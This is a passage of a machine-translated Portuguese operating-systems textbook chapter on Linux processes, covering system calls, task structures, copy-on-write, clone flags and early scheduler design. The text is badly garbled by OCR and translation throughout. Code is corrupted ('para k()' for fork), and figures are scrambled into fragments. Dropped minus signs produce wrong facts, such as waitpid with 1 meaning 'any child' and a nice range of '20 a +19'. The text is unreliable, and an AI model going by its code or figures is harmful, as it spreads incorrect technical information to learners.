no filho e igual ao PID do filho no pai. Usando o PID retornado, os dois processos podem ver 


qual é o pai e qual é o filho. 


Na maioria dos casos, após uma bifurcação, o filho precisará executar um código diferente 
do pai. Considere o caso da casca. Ele lê um comando do terminal, bifurca um processo filho, 
espera que o filho execute o comando e então 
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Chamada do | Descrição 

sistema pid = Crie um processo filho idêntico ao pai 

for k() pid = waitpid(pid, &statloc, opts) s = Espere que uma criança termine 

execve(name, argv, envp) Substituir a imagem principal de um processo 

saída (estado) Encerrar a execução do processo e retornar o status 

s = sigaction(sig, &act, &oldact) Defina a ação a ser tomada em relação aos sinais 

s = segurança n(&contexto) Retorno de um sinal 


s = sigprocmask(how, &set, &old) Examina ou altra a máscara de sinal 


s = sigpendente(conjunto) Obtenha o conjunto de sinais bloqueados 

s = sigsuspend(máscara sigma) Substitua a máscara de sinal e suspenda o processo 
s = matar (pid, sig) Envie um sinal para um processo 

residual = alarme (segundos) s = Defina o despertador 

pausa () Suspender o chamador até o próximo sinal 


Figura 10-6. Algumas chamadas de sistema relacionadas a processos. O código de retorno s é 1 se 
ocorreu um erro, pid é um ID do processo e residual é o tempo restante no 
o alarme anterior. Os parâmetros são o que os nomes sugerem. 


lê o próximo comando quando o filho termina. Para esperar a criança terminar, 
o pai executa uma chamada de sistema waitpid , que apenas espera até que o filho termine 
(qualquer filho, se existir mais de um). Waitpid tem três parâmetros. O primeiro 
permite que o chamador espere por uma criança específica. Se for 1, qualquer filho mais velho (ou seja, o primeiro 
filho terminar) servirá. O segundo parâmetro é o endereço de uma variável que 
será definido para o status de saída da criança (rescisão e saída normal ou anormal 
valor). Isso permite que os pais conheçam o destino de seu filho. O terceiro parâmetro 
determina se o chamador bloqueia ou retorna se nenhum filho já tiver sido finalizado. 
No caso do shell, o processo filho deve executar o comando digitado por 
o usuário. Ele faz isso usando a chamada de sistema exec , que faz com que todo o seu núcleo 
imagem a ser substituída pelo arquivo nomeado em seu primeiro parâmetro. Um altamente simplificado 
O shell que ilustra o uso de fork, waitpid e exec é mostrado na Figura 10.7. 
No caso mais geral, exec possui três parâmetros: o nome do arquivo a ser 
executado, um ponteiro para a matriz de argumentos e um ponteiro para a matriz de ambiente. 
Estes serão descritos em breve. Vários procedimentos de biblioteca, como execl, execv, 
execle e execve são fornecidos para permitir que os parâmetros sejam omitidos ou especificados 
de varias maneiras. Todos esses procedimentos invocam a mesma chamada de sistema subjacente. 
Embora a chamada do sistema seja exec, não existe nenhum procedimento de biblioteca com esse nome; um 


dos outros deve ser usado. 


Vamos considerar o caso de um comando digitado no shell, como 
cp arquivo! arquivo? 


usado para copiar arquivo1 para arquivo2. Após a bifurcação do shell, o filho localiza e executa 
o arquivo cp e passa informações sobre os arquivos a serem copiados. 
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enquanto (VERDADEIRO) { /* repetir para sempre / 
digite prompt(); ler *//* exibir prompt na tela *//* ler a linha 
comando (comando, parâmetros); de entrada do teclado */ 
pid = para k(); / * desembolsa um processo filho */ 
if (pid < 0) { pr 
intf("Não é possível para k0); /* condição de erro *// 
continue; * repetir o loop */ 
} 
if (pid! = 0) 
{ waitpid (1, &status, 0); } /* pai espera pelo filho */ 
else 
{ execve(comando, params, 0); /* criança faz o trabalho */ 


Figura 10-7. Um shell altamente simplificado. 


O programa principal do cp (e de muitos outros programas) contém a função de declaração 


principal(argc, argv, envp) 


onde argc é uma contagem do número de itens na linha de comando, incluindo o nome do 
programa. Para o exemplo acima, argc é 3. 

O segundo parâmetro, argv, é um ponteiro para um array. O elemento i dessa matriz é um 
ponteiro para a i-ésima string na linha de comando. Em nosso exemplo, argv[0] apontaria para a 
string de dois caracteres "cp". Da mesma forma, argv/1] apontaria para a string de cinco 
caracteres eletrônicos "file1" e argv/2] apontaria para a string de cinco caracteres eletrônicos "file2”. 

O terceiro parâmetro de main, envp, é um ponteiro para o ambiente, uma matriz de strings 
contendo atribuições no formato nome = valor usado para passar informações como o tipo de 
terminal e o nome do diretório inicial para um programa. Na Figura 10.7, nenhum ambiente é 
passado para o filho, de modo que o terceiro parâmetro de execve é zero. 

Se exec parecer complicado, não se desespere; é a cnamada de sistema mais complexa. 
Todo o resto é muito mais simples. Como exemplo simples, considere exit, que os processos 
devem usar quando terminarem de ser executados. Possui um parâmetro, o status de saída (0 a 
255), que é retornado ao pai na variável status da chamada do sistema waitpid . O byte de status 
de ordem inferior contém o status de término, sendo O o término normal e os outros valores sendo 
diversas condições de erro. O byte de ordem superior contém o status de saída do filho (0 a 
255), conforme especificado na chamada do filho para sair. Por exemplo, se um processo pai 
executa a instrução 


n = waitpid(1, &status, 0); 


ele será suspenso até que algum processo filho termine. Se o filho sair com, digamos, 4 como 
parâmetro para sair, o pai será acordado com n definido para o filho 
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PID e status definidos como 0x0400 (0x como prefixo significa hexadecimal em C). O byte de status de ordem 
inferior está relacionado a sinais; o próximo é o valor que o filho retornou 
sua chamada para sair. 

Se um processo termina e seu pai ainda não esperou por isso, o processo entra em um 
uma espécie de animação suspensa chamada estado zumbi — os mortos-vivos. Quando o 
pai finalmente espera por isso, o processo termina. 

Várias chamadas de sistema estão relacionadas a sinais, que são usados de diversas maneiras. Para 
Por exemplo, se um usuário acidentalmente instruir um editor de texto a exibir todo o conteúdo de um 
arquivo muito longo, e então percebe o erro, é necessário de alguma forma interromper o editor. A escolha usual 
é o usuário pressionar alguma tecla especial (por exemplo, DEL ou CTRL C), que envia um sinal ao editor. O 
editor capta o sinal e para. 

Para anunciar a sua vontade de captar este (ou qualquer outro) sinal, o processo pode 
use a chamada de sistema sigaction . O primeiro parâmetro é o sinal a ser captado (ver 
Figura 10-5). O segundo é um ponteiro para uma estrutura que fornece um ponteiro para o procedimento de 
tratamento do sinal, bem como alguns outros bits e sinalizadores. A terceira aponta para um 
estrutura onde o sistema retorna informações sobre o tratamento do sinal atualmente em 
efeito, caso precise ser restaurado posteriormente. 

O manipulador de sinal pode funcionar pelo tempo que desejar. Na prática, porém, os manipuladores de 
sinais são geralmente bastante curtos. Quando o procedimento de tratamento do sinal for concluído, 
retorna ao ponto de onde foi interrompido. 

A chamada do sistema sigaction também pode ser usada para fazer com que um sinal seja ignorado ou para 
restaure a ação padrão, que está encerrando o processo. 

Apertar a tecla DEL ou CTRL não é a única maneira de enviar um sinal. A chamada de sistema kill permite 
que um processo sinalize outro processo relacionado. A escolha do nome 
"kill" para esta chamada de sistema não é especialmente bom, já que a maioria dos processos envia 
sinaliza para outros com a intenção de que sejam capturados. Contudo, um sinal de que 
não é capturado, de fato mata o destinatário. 

Para muitas aplicações de tempo real, um processo precisa ser interrompido após um intervalo de tempo 
específico para fazer algo, como retransmitir um pacote potencialmente perdido. 
através de uma linha de comunicação não confiável. Para lidar com esta situação, o sistema de alarme 
chamada foi fornecida. O parâmetro especifica um intervalo, em segundos, após o qual 
um sinal SIGALRM é enviado ao processo. Um processo pode ter apenas um alarme ativo a qualquer instante. 
Se for feita uma chamada de alarme com parâmetro de 10 segundos, 
e 3 segundos depois é feita outra chamada de alarme com parâmetro de 20 segundos, apenas um sinal será 
gerado, 20 segundos após a segunda chamada. O primeiro 
o sinal é cancelado pela segunda chamada para o alarme m. Se o parâmetro do alarme m for zero, 
qualquer sinal de alarme pendente é cancelado. Se um sinal de alarme não for detectado, o padrão 
uma ação é executada e o processo sinalizado é eliminado. Tecnicamente, os sinais de alarme podem ser 
ignorado, mas isso é algo inútil de se fazer. Por que um programa pediria para ser sinalizado mais tarde e depois 
ignoraria o sinal? 

Às vezes ocorre que um processo não tem nada a fazer até que um sinal chegue. Para 
Por exemplo, considere um programa de instrução auxiliado por computador que testa a leitura 
velocidade e compreensão. Ele exibe algum texto na tela e depois aciona o alarme 
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para sinalizá-lo após 30 segundos. Enquanto o aluno lê o texto, o programa não tem nada a fazer. 
Ele poderia ficar em um loop apertado sem fazer nada, mas isso desperdiçaria o tempo de CPU 
que um processo em segundo plano ou outro usuário poderia precisar. Uma solução melhor é usar 
a chamada de sistema pause , que diz ao Linux para suspender o processo até que o próximo 
sinal chegue. Ai do programa que chama pausa sem nenhum alarme pendente. 


10.3.3 Implementação de Processos e Threads no Linux 


Um processo no Linux é como um iceberg: você só vê a parte acima da água, mas também 
há uma parte importante embaixo dela. Todo processo possui uma parte do usuário que executa o 
programa do usuário. No entanto, quando um de seus threads faz uma chamada de sistema, ele 
entra no modo kernel e começa a ser executado no contexto do kernel, com um mapa de memória 
diferente e acesso total a todos os recursos da máquina. Ainda é o mesmo thread, mas agora com 
mais poder e também sua própria pilha de modo kernel e contador de programa em modo kernel. 
Eles são importantes porque uma chamada do sistema pode ser bloqueada no meio, por exemplo, 
aguardando a conclusão de uma operação de disco. O contador e os registros do programa são 
então salvos para que o thread possa ser reiniciado posteriormente no modo kernel. 

O kernel do Linux representa internamente processos como tarefas, por meio da estrutura 
task struct. Ao contrário de outras abordagens de sistema operacional (que fazem distinção entre 
processo, processo leve e thread), o Linux usa a estrutura de tarefas para representar qualquer 
contexto de execução. Portanto, um processo de thread único será representado com uma 
estrutura de tarefa e um processo multithread terá uma estrutura de tarefa para cada um dos 
threads de nível de usuário. Finalmente, o próprio kernel é multithread e possui threads no nível 
do kernel que não estão associados a nenhum processo do usuário e executam o código do 
kernel. Voltaremos ao tratamento de processos multithread (e threads em geral) posteriormente 
nesta seção. 

Para cada processo, um descritor de processo do tipo task struct reside na memória o tempo 
todo. Ele contém informações vitais necessárias para o gerenciamento de todos os processos pelo 
kernel, incluindo parâmetros de agendamento, listas de descritores de arquivos abertos e assim 
por diante. O descritor de processo junto com a memória para a pilha de modo kernel do processo 
são criados na criação do processo. 

Para compatibilidade com outros sistemas UNIX, o Linux identifica processos através do PID. 
O kernel organiza todos os processos em uma lista duplamente vinculada de estruturas de tarefas. 
Além de acessar os descritores de processos percorrendo as listas vinculadas, o PID pode ser 
mapeado para o endereço da estrutura da tarefa e as informações do processo podem ser 
acessadas imediatamente. 

A estrutura da tarefa contém uma variedade de campos. Alguns desses campos contêm 
ponteiros para outras estruturas ou segmentos de dados, como aqueles que contêm informações 
sobre arquivos abertos. Alguns desses segmentos estão relacionados à estrutura do processo em 
nível de usuário, o que não é de interesse quando o processo do usuário não é executável. 
Portanto, estes podem ser trocados ou paginados, para não desperdiçar memória com informações 
desnecessárias. Por exemplo, embora seja possível que um processo receba um sinal enquanto 
ele é trocado, não é possível ler um arquivo. Por esta 
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Por isso, as informações sobre os sinais devem estar na memória o tempo todo, mesmo quando o processo 
não está presente na memória. Por outro lado, as informações sobre os descritores de arquivos podem ser 
mantidas na estrutura do usuário e trazidas somente quando o processo estiver na memória e executável. 


As informações contidas no descritor do processo se enquadram em diversas categorias amplas que 
podem ser descritas aproximadamente como segue: 


1. Parâmetros de agendamento. Prioridade do processo, quantidade de tempo de CPU 
consumido recentemente, quantidade de tempo gasto em suspensão recentemente. Juntos, 
eles são usados para determinar qual processo será executado em seguida. 


No 


. Imagem de memória. Ponteiros para texto, dados e segmentos de pilha ou tabelas de 
páginas. Se o segmento de texto for compartilhado, o ponteiro de texto aponta para a 
tabela de texto compartilhada. Quando o processo não está na memória, informações 
sobre como encontrar suas partes no disco também estão aqui. 


3. Sinais. Máscaras mostrando quais sinais estão sendo ignorados, quais estão sendo 
capturados, quais estão sendo temporariamente bloqueados e quais estão em processo de 
entrega. 


A 


. Registros de máquinas. Quando ocorre uma armadilha no kernel, os registros da máquina 
(incluindo os de ponto flutuante, se usados) são salvos aqui. 


5. Estado de chamada do sistema. Informações sobre a chamada de sistema atual, incluindo 
parâmetros e resultados. 


o 


. Tabela de descritores de arquivos. Quando uma chamada de sistema envolvendo um 
descritor de arquivo é invocada, o descritor de arquivo é usado como um índice nesta 
tabela para localizar a estrutura de dados central (inode) correspondente a este arquivo. 


“q 


. Contabilidade. Ponteiro para uma tabela que controla o tempo de CPU do usuário e do 
sistema usado pelo processo. Alguns sistemas também mantêm limites aqui sobre a 
quantidade de tempo de CPU que um processo pode usar, o tamanho máximo de sua pilha, 
o número de quadros de página que pode consumir e outros itens. 


8. Pilha de kernel. Uma pilha fixa para uso pela parte do kernel do processo. 


9. Diversos. Estado atual do processo, evento aguardado, se houver, tempo até o alarme tocar, 
PID, PID do processo pai e identificação de usuário e grupo. 


Tendo essas informações em mente, agora é fácil explicar como os processos são criados no Linux. O 
mecanismo para criar um novo processo é bastante simples. Um novo descritor de processo e uma nova 
área de usuário são criados para o processo filho e preenchidos em grande parte pelo processo pai. O filho 
recebe um PID exclusivo não usado por nenhum outro processo, seu mapa de memória é configurado e ele 
recebe acesso compartilhado aos arquivos de seu pai. Então seus registros são configurados e ele está 
pronto para ser executado. 
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Quando uma chamada de sistema fork é executada, o processo de chamada é capturado no 
kernel e cria uma estrutura de tarefa e algumas outras estruturas de dados que a acompanham, como 
a pilha de modo kernel e uma estrutura de informações de thread . Esta estrutura é alocada em um 
deslocamento fixo do final da pilha do processo e contém poucos parâmetros do processo, juntamente 
com o endereço do descritor do processo. Ao armazenar o endereço do descritor do processo em um 
local fixo, o Linux precisa apenas de algumas operações eficientes para localizar a estrutura de tarefas 
de um processo em execução. 

A maior parte do conteúdo do descritor de processo é preenchida com base nos valores do 
descritor pai. O Linux então procura um PID disponível, ou seja, nenhum que esteja atualmente em 
uso por qualquer processo, e atualiza a entrada da tabela hash do PID para apontar para a nova 
estrutura de tarefas. Em caso de colisões na tabela hash, os descritores de processos podem ser 
encadeados. Ele também define os campos na estrutura da tarefa para apontar para o processo 
anterior/próximo correspondente na matriz de tarefas. 

Em princípio, ele deveria agora alocar memória para os dados do filho e empilhar segmentos, e 
fazer cópias exatas dos segmentos do pai, uma vez que a semântica do fork diz que nenhuma 
memória é compartilhada entre pai e filho. O segmento de texto pode ser copiado ou compartilhado, 
pois é somente leitura. Neste ponto, a criança está pronta para 
correr. 

No entanto, copiar memória é caro, por isso todos os sistemas Linux modernos trapaceiam. 

Eles fornecem ao filho suas próprias tabelas de páginas, mas fazem com que apontem para as 
páginas do pai, marcadas apenas como somente leitura. Sempre que um processo (filho ou pai) tenta 
escrever em uma página, ocorre uma falha de proteção. O kernel vê isso e então aloca uma nova 
cópia da página para o processo com falha e marca-a como leitura/gravação. Desta forma, apenas as 
páginas realmente escritas devem ser copiadas. Este mecanismo é denominado COW (Copy On 
Write). Tem a vantagem adicional de não necessitar de duas cópias do programa na memória, 
economizando assim RAM. 

Depois que o processo filho começa a ser executado, o código executado nele (uma cópia do 
shell em nosso exemplo) faz uma chamada de sistema exec fornecendo o nome do comando como 
parâmetro. O kernel agora encontra e verifica o arquivo executável, copia os argumentos e as strings 
de ambiente para o kernel e libera o antigo espaço de endereço e suas tabelas de páginas. 


Agora o novo espaço de endereço deve ser criado e preenchido. Se o sistema suportar arquivos 
mapeados, como fazem o Linux e praticamente todos os outros sistemas baseados em UNIX, as 
novas tabelas de páginas serão configuradas para indicar que não há páginas na memória, exceto 
talvez uma página de pilha, mas que o espaço de endereço seja apoiado pelo arquivo executável no disco. 
Quando o novo processo começar a ser executado, assim que tocar na memória para buscar a 
primeira instrução, ele receberá imediatamente uma falha de página, o que fará com que a primeira 
página de código seja paginada a partir do arquivo executável. Dessa forma, nada precisa ser 
carregado antecipadamente, para que os programas possam iniciar rapidamente e falhar apenas nas 
páginas de que precisam e nada mais. (Essa estratégia é, na verdade, apenas paginação por 
demanda em sua forma mais pura, como discutimos no Capítulo 3.) Finalmente, os argumentos e as 
cadeias de ambiente são copiados para a nova pilha, os sinais são redefinidos e os registradores são 
inicializados para todos. zeros. Neste ponto, o novo comando pode começar a ser executado. 


Machine Translated by Google 


SEC. 10.3 PROCESSOS NO LINUX 733 
A Figura 10-8 ilustra as etapas descritas acima por meio do exemplo a seguir. Depois que 
o usuário digita o comando Is, o shell cria um novo processo bifurcando um clone de si mesmo. 


O novo shell então chama exec para sobrepor sua memória com 
o conteúdo do arquivo executável Is. Depois disso, Is pode começar. 


PID = 501 PID = 748 PID = 748 


| 


é Mesmo processo 


Novo processo 


1. Chamada bifurcada 3. chamada executiva 


i 4. sh sobreposto 
2. Novo peixe 


criada E E 
código de garfo código executivo 


com Is 


Alocar a estrutura de tarefas da criança Encontre o programa executável 


Preencha a estrutura de tarefas do filho do pai Verifique a permissão de execução 

Alocar pilha filho e área de usuário Leia e verifique o cabeçalho 

Preencha a área de usuário do filho do pai Copiar argumentos, ambiente para o kernel 
Alocar PID para criança Libere o espaço de endereço antigo 
Configure o filho para compartilhar o texto dos pais Alocar novo espaço de endereço 


Copiar tabelas de páginas para dados e pilha Copiar argumentos, ambiente para empilhar 


Configure o compartilhamento de arquivos abertos Redefinir sinais 


A ; ; i Inicializar registros 
Copiar os registros dos pais para os filhos ar regis 


Figura 10-8. As etapas para executar o comando /s são digitadas no shell. 


Tópicos no Linux 


Discutimos os tópicos de maneira geral no Cap. 2. Aqui vamos nos concentrar nos threads 
do kernel no Linux, particularmente nas diferenças entre o modelo de thread do Linux 
e outros sistemas UNIX. Para entender melhor os recursos exclusivos fornecidos pelo modelo 
Linux, começaremos com uma discussão de alguns dos desafios 
decisões presentes em sistemas multithread. 

A principal questão na introdução de threads é manter o tradicional correto 
Semântica UNIX. Primeiro considere o garfo. Suponha que um processo com múltiplos (Kernel) 
threads faz uma chamada de sistema fork . Todos os outros threads devem ser criados no novo 
processo? Por enquanto, vamos responder a essa pergunta com sim. Suponha que aquele 
dos outros threads foi bloqueada a leitura do teclado. O thread correspondente no novo 
processo também deve ser bloqueado na leitura do teclado? Se 
então, qual deles digita a próxima linha? Se não, o que esse tópico deveria estar fazendo em 
o novo processo? 

O mesmo problema se aplica a muitas outras coisas que os threads podem fazer. Em um 
processo de thread único, o problema não surge porque o único thread 


Machine Translated by Google 


734 ESTUDO DE CASO 1: UNIX, LINUX E ANDROID INDIVÍDUO. 10 


não pode ser bloqueado ao chamar fork. Agora considere o caso em que os outros threads não são 
criados no processo filho. Suponha que um dos threads não criados contenha um mutex que o 
único thread no novo processo tenta adquirir após fazer a bifurcação. O mutex nunca será liberado 
e o thread ficará suspenso para sempre. Existem também vários outros problemas. Não existe 

uma solução simples. 

A E/S de arquivos é outra área problemática. Suponha que um thread esteja bloqueado na 
leitura de um arquivo e outro thread feche o arquivo ou faça um Iseek para alterar o ponteiro do 
arquivo atual. O que acontece depois? Quem sabe? 

O tratamento de sinais é outra questão espinhosa. Os sinais devem ser direcionados a um 
thread específico ou apenas ao processo? Um SIGFPE (exceção de ponto flutuante) provavelmente 
deve ser capturado pelo thread que o causou. E se não pegar? Apenas esse thread deve ser 
eliminado ou todos os threads? Considere agora o sinal SIGINT, gerado pelo usuário no teclado. 
Qual tópico deve capturar isso? Todos os threads deveriam compartilhar um conjunto comum de 
máscaras de sinal? Todas as soluções para esses e outros problemas geralmente fazem com que 
algo quebre em algum lugar. Acertar a semântica dos threads (sem mencionar o código) não é uma 
tarefa trivial. 

O Linux suporta threads de kernel de uma forma interessante que vale a pena dar uma olhada. 
A implementação é baseada nas ideias do 4.4BSD, mas os threads do kernel não foram habilitados 
naquela distribuição porque Berkeley ficou sem dinheiro antes que a biblioteca C pudesse ser 
reescrita para resolver os problemas discutidos anteriormente. 

Historicamente, os processos eram contêineres de recursos e os threads eram as unidades de 
execução. Um processo continha um ou mais threads que compartilhavam o espaço de endereço, 
arquivos abertos, manipuladores de sinais, alarmes e tudo mais. Tudo estava claro e simples 
conforme descrito acima. 

Em 2000, o Linux introduziu uma nova e poderosa chamada de sistema, clone, que confundiu 
a distinção entre processos e threads e possivelmente até inverteu a primazia dos dois conceitos. 
O clone não está presente em nenhuma outra versão do UNIX. Classicamente, quando um novo 
thread era criado, o(s) thread(s) original(is) e o novo compartilhavam tudo, menos seus registros. 
Em particular, os descritores de arquivos para arquivos abertos, manipuladores de sinais, alarmes 
e outras propriedades globais eram por processo, não por thread. 

O que o clone fez foi tornar possível que cada um desses aspectos e outros fossem específicos do 
processo ou do thread. É chamado da seguinte forma: 


pid = clone(função, pilha ptr, compartilhamento de flags, arg); 


A chamada cria um novo thread, no processo atual ou em um processo totalmente novo, 
dependendo dos sinalizadores de compartilhamento. Se o novo thread estiver no processo atual, 

ele compartilhará o espaço de endereço com os threads existentes e cada gravação subsequente 
em qualquer byte no espaço de endereço por qualquer thread será imediatamente visível para 

todos os outros threads no processo. Por outro lado, se o espaço de endereço não for compartilhado, 
o novo thread obterá uma cópia exata do espaço de endereço, mas as gravações subsequentes do 
novo thread não serão visíveis para os antigos. Essa semântica é a mesma do POSIX. Clone 


generaliza o fork enquanto preserva a semântica legada quando necessário. 
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Em ambos os casos, o novo thread começa a ser executado na função, que é chamada com 
arg como seu único parâmetro. Também em ambos os casos, o novo thread obtém seu próprio segmento privado 
pilha, com o ponteiro de pilha inicializado para empilhar ptr. 

O parâmetro sinalizadores de compartilhamento é um bitmap que permite um detalhamento mais refinado do compartilhamento 
do que os sistemas UNIX tradicionais. Cada um dos bits pode ser definido independentemente do 
outros, e cada um deles determina se o novo thread copia alguns dados 
estrutura ou a compartilha com o thread de chamada. A Figura 10-9 mostra alguns dos itens 


que podem ser compartilhados ou copiados de acordo com os bits nos sinalizadores de compartilhamento. 


Bandeira | Significado quando definido Significado quando limpo 
CLONE VM | | Crie um novo tópico Crie um novo processo 
CLONE FS | | Compartilhe umask, root e diretórios de trabalho Não os compartilhe 
CLONE ARQUIVOS | Compartilhe os descritores de arquivo Copie os descritores de arquivo 
CLONE SIGHAND Compartilhe a tabela do manipulador de sinal Copie a tabela 
CLONE PABENT O novo threhd tem o mesmo pai do chamador O pai do novo thread é g chamador 


Figura 10-9. Bits no bitmap dos sinalizadores de compartilhamento . 


O bit CLONE VM determina se a memória virtual (ou seja, endereço 
espaço) é compartilhado com os tópicos antigos ou copiado. Se estiver definido, o novo thread apenas 
move-se com os existentes, então a chamada clone cria efetivamente um novo thread 
em um processo existente. Se o bit for limpo, o novo thread obtém seu próprio 
espaço de endereço. Ter seu próprio espaço de endereço significa que o efeito de seu STORE 
instruções não são visíveis para os threads existentes. Este comportamento é semelhante ao fork, 
exceto conforme indicado abaixo. Criar um novo espaço de endereço é efetivamente a definição de 
um novo processo. 

O bit CLONE FS controla o compartilhamento dos diretórios raiz e de trabalho e de 
o sinalizador umask. Mesmo que o novo thread tenha seu próprio espaço de endereço, se este bit estiver definido, 
os threads antigos e novos compartilham diretórios de trabalho. Isso significa que uma chamada para chdir 
por um thread altera o diretório de trabalho do outro thread, mesmo que o 
outro thread pode ter seu próprio espaço de endereço. No UNIX, uma chamada para chdir por um thread 
sempre altera o diretório de trabalho para outros threads em seu processo, mas nunca para 
threads em outro processo. Assim, este bit permite um tipo de compartilhamento que não é possível em 
versões tradicionais do UNIX. 

O bit CLONE FILES é análogo ao bit CLONE FS . Se definido, o novo 
thread compartilha seus descritores de arquivo com os antigos, então chama Iseek por um thread 
são visíveis para os outros, novamente como normalmente acontece para threads dentro do mesmo 
processo, mas não para threads em processos diferentes. Da mesma forma, CLONE SIGHAND _ 
ativa ou desativa o compartilhamento da tabela do manipulador de sinal entre o antigo e o novo 
tópicos. Se a tabela for compartilhada, mesmo entre threads em espaços de endereço diferentes, então 
alterar um manipulador em um thread afeta os manipuladores nos outros. 

Finalmente, todo processo tem um pai. O bit CLONE PARENT controla quem é o 
pai do novo thread é. Pode ser o mesmo que o thread de chamada (em 
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nesse caso, o novo thread é irmão do chamador) ou pode ser o próprio thread de chamada, caso em que o 
novo thread é filho do cnamador. Existem alguns outros bits que controlam outros itens, mas são menos 
importantes. 

Esse compartilhamento refinado é possível porque o Linux mantém estruturas de dados separadas para 
os vários itens listados na Seção. 10.3.3 (parâmetros de agendamento, imagem de memória e assim por 
diante). A estrutura da tarefa apenas aponta para essas estruturas de dados, portanto é fácil criar uma nova 
estrutura de tarefa para cada thread clonada e fazer com que ela aponte para o agendamento, memória e 
outras estruturas de dados do thread antigo ou para cópias delas. O fato de esse compartilhamento refinado 
ser possível não significa que seja útil, especialmente porque as versões tradicionais do UNIX não oferecem 
essa funcionalidade. Um programa Linux que tira vantagem disso não é mais portável para UNIX. 


O modelo de thread do Linux levanta outra dificuldade. Os sistemas UNIX associam um único PID a um 
processo, independentemente de ele ser de thread único ou multithread. Para ser compatível com outros 
sistemas UNIX, o Linux distingue entre um identificador de processo (PID) e um identificador de tarefa (TID). 
Ambos os campos são armazenados na estrutura da tarefa. Quando clone é usado para criar um novo 
processo que não compartilha nada com seu criador, o PID é definido com um novo valor; caso contrário, a 
tarefa recebe um novo TID, mas herda o PID. Dessa forma, todos os threads de um processo receberão o 


mesmo PID do primeiro thread do processo. 


10.3.4 Agendamento no Linux 


Veremos agora o algoritmo de escalonamento do Linux. Para começar, Linux 
threads são threads do kernel, portanto o agendamento é baseado em threads, não em processos. 
O Linux distingue as seguintes classes de threads para fins de agendamento: 


1. FIFO em tempo real. 


2. Rodada em tempo real. 


3. Esporádico. 


4. Compartilhamento de tempo. 


Threads FIFO em tempo real são de prioridade mais alta e não são preemptivos, exceto por um thread FIFO 
em tempo real recém-preparado com prioridade ainda mais alta. Threads round robin em tempo real são 
iguais aos threads FIFO em tempo real, exceto pelo fato de terem quanta de tempo associados a eles e 
serem preemptivos pelo relógio. Se vários threads round-robin em tempo real estiverem prontos, cada um 
deles será executado para seu quantum, após o qual irá para o final da lista de threads round-robin em tempo 
real. Nenhuma dessas classes é realmente em tempo real em nenhum sentido. Os prazos não podem ser 
especificados e não são dadas garantias. A classe de escalonamento esporádico é utilizada para threads 
esporádicas ou aperiódicas, e permite limitar seu tempo de execução dentro de um período, para não 
prejudicar outras threads de tempo real. Essas classes são simplesmente de maior prioridade do que 
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threads na classe de compartilhamento de tempo padrão. A razão pela qual o Linux os chama de tempo 
real é que o Linux é compatível com o padrão P1003.4 (extensões em tempo real para UNIX) que usa 
esses nomes. Os threads em tempo real são representados internamente com níveis de prioridade de O 
a 99, sendo 0 o nível de prioridade mais alto e 99 o mais baixo. 


As threads convencionais, que não são de tempo real, formam uma classe separada e são 
escalonadas por um algoritmo separado para que não concorram com as threads de tempo real. 
Internamente, esses threads estão associados a níveis de prioridade de 100 a 139, ou seja, o Linux 
distingue internamente entre 140 níveis de prioridade (para tarefas em tempo real e não em tempo real). 
Quanto aos threads round-robin em tempo real, o Linux aloca tempo de CPU para tarefas não em tempo 
real com base em seus requisitos e níveis de prioridade. 

No Linux, o tempo é medido como o número de tiques do relógio. Nas versões mais antigas do 
Linux, o clock funcionava a 1.000 Hz e cada tick durava 1 ms, chamado de instante. Nas versões mais 
recentes, a frequência do tick pode ser configurada para 500, 250 ou até 1 Hz. Para evitar o desperdício 
de ciclos de CPU para atender a interrupção do temporizador, o kernel pode até ser configurado no modo 
“tickless”. Isto é útil quando há apenas um processo em execução no sistema ou quando a CPU está 
ociosa e precisa entrar no modo de economia de energia. Finalmente, em sistemas mais novos, 
temporizadores de alta resolução permitem que o kernel controle o tempo em granularidade sub- 
instantânea. 

Como a maioria dos sistemas UNIX, o Linux associa um valor interessante a cada thread. O padrão 
é 0, mas isso pode ser alterado usando a chamada de sistema nice(value) , onde o valor varia de 20 a 
+19. Este valor determina a prioridade estática de cada thread. Um usuário computando um bilhão de 
lugares em segundo plano pode colocar essa cnamada em seu programa para ser gentil com os outros 
usuários. Somente o administrador do sistema pode solicitar um serviço melhor que o normal (ou seja, 
valores de 20 a 1). Deduzir o motivo desta regra fica como exercício para o leitor. 


A seguir, descreveremos com mais detalhes dois dos algoritmos de escalonamento do Linux. 

Seus aspectos internos estão intimamente relacionados ao design da fila de execução, uma estrutura 
de dados chave usada pelo escalonador para rastrear todas as tarefas executáveis no sistema e 
selecionar a próxima a ser executada. Uma fila de execução está associada a cada CPU do sistema. 

Historicamente, um agendador Linux popular era o agendador Linux O(1). Recebeu esse nome 
porque era capaz de realizar operações de gerenciamento de tarefas, como selecionar uma tarefa ou 
enfileirar uma tarefa na fila de execução, em tempo constante, independente do número total de tarefas 
no sistema. No agendador O(1), a fila de execução é organizada em dois arrays, chamados ativos e 
expirados. Conforme ilustrado na Figura 10.10(a), cada um deles é uma matriz de 140 cabeçalhos de 
lista, cada um correspondendo a uma prioridade diferente. Cada cabeçalho de lista aponta para uma lista 
duplamente vinculada de processos com uma determinada prioridade. A operação básica do agendador 
pode ser descrita a seguir. 

O agendador seleciona uma tarefa da lista de maior prioridade na matriz ativa. Se o intervalo de 
tempo (quantum) dessa tarefa expirar, ele será movido para a lista expirada (potencialmente em um nível 
de prioridade diferente). Se a tarefa for bloqueada, por exemplo, para aguardar um evento de E/S, antes 
que seu intervalo de tempo expire, uma vez que o evento ocorra e sua execução possa ser retomada, 
ela será colocada de volta na matriz ativa original e seu intervalo de tempo será decrementado para 
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Bandeiras 


CPU 


Estático prio 


<...> 


Matriz[0] 


O 


Do 
A e 


P 
Matriz[1] 
EO 
—— P 
(a) Por fila de execução da CPU no (b) Árvore vermelho-preta por CPU em 
Agendador Linux O(1) o agendador CFS 


Figura 10-10. Ilustração de estruturas de dados de fila de execução do Linux para (a) o Linux 
O (1) agendador e (b) o agendador completamente justo. 


reflete o tempo de CPU já usado. Uma vez que seu intervalo de tempo esteja totalmente esgotado, ele também, 
será colocado na matriz expirada. Quando não houver mais tarefas no ativo 
array, o escalonador simplesmente troca os ponteiros, então os arrays expirados agora se tornam 
ativo e vice-versa. Este método garante que as tarefas de baixa prioridade não morrerão de fome 
(exceto quando threads FIFO em tempo real sobrecarregam completamente a CPU, o que é improvável). 
Aqui, diferentes níveis de prioridade recebem diferentes valores de intervalo de tempo, com 
quanta mais elevados atribuídos a processos de maior prioridade. Por exemplo, tarefas executadas em 
o nível de prioridade 100 receberá quanta de tempo de 800 ms, enquanto as tarefas de prioridade 
o nível 139 receberá 5 ms. 
A ideia aqui é retirar processos do kernel rapidamente. Se um processo está tentando 
